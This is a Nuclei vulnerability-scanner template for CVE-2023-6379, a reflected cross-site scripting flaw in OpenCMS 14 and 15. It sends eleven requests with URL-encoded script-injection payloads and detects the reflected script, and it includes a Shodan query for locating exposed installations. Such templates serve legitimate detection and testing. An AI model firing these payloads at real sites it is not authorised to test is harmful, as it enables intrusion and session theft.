nuclei-templates/http/cves/2023/CVE-2023-6379.yaml

id: CVE-2023-6379

info:
  name: OpenCMS 14 & 15 - Cross Site Scripting
  author: msegoviag
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to version OpenCMS 16
  reference:
    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2023-6379
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6379
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6379
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: alkacon
    product: OpenCms
    shodan-query: title:"opencms"
  tags: cve,cve2023,opencms,xss,alkacon

http:
  - method: GET
    path:
      - '{{BaseURL}}/tagebuch/eintraege/index.html?reloaded&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/list-editor/index.html?reloaded&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/advanced-elements/list/index.html?reloaded&sort=date_asc&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/advanced-elements/list/list-filters/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/lists/compact/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/lists/elaborate/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/lists/text-tiles/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/lists/masonry/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/blog/articles/index.html?reloaded&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
      - '{{BaseURL}}/advanced-elements/form/index.html?formsubmit=12&formaction1=submit&InputField-11939054842=mrs&InputField-21939054842=190806&InputField-31939054842=403105&InputField-41939054842=2&InputField-51939054842=&InputField-61939054842=1&captcha_token_id=1"><script>alert(document.domain)<%2fscript>ufs5prh3qfe&captchaphrase1939054842=1'
      - '{{BaseURL}}/content-elements/job-ad/index.html?reloaded&sort=date_desc&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>" />'
          - 'OpenCms'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220183ae8500a3786c9f43cc433316d05a590c2576789f472ba21276c5f873050a302206da74254c939e7c914e08d4d1233952b8d68e8c9be5070866461e88231587189:922c64590222798bb761d5b6d8e72950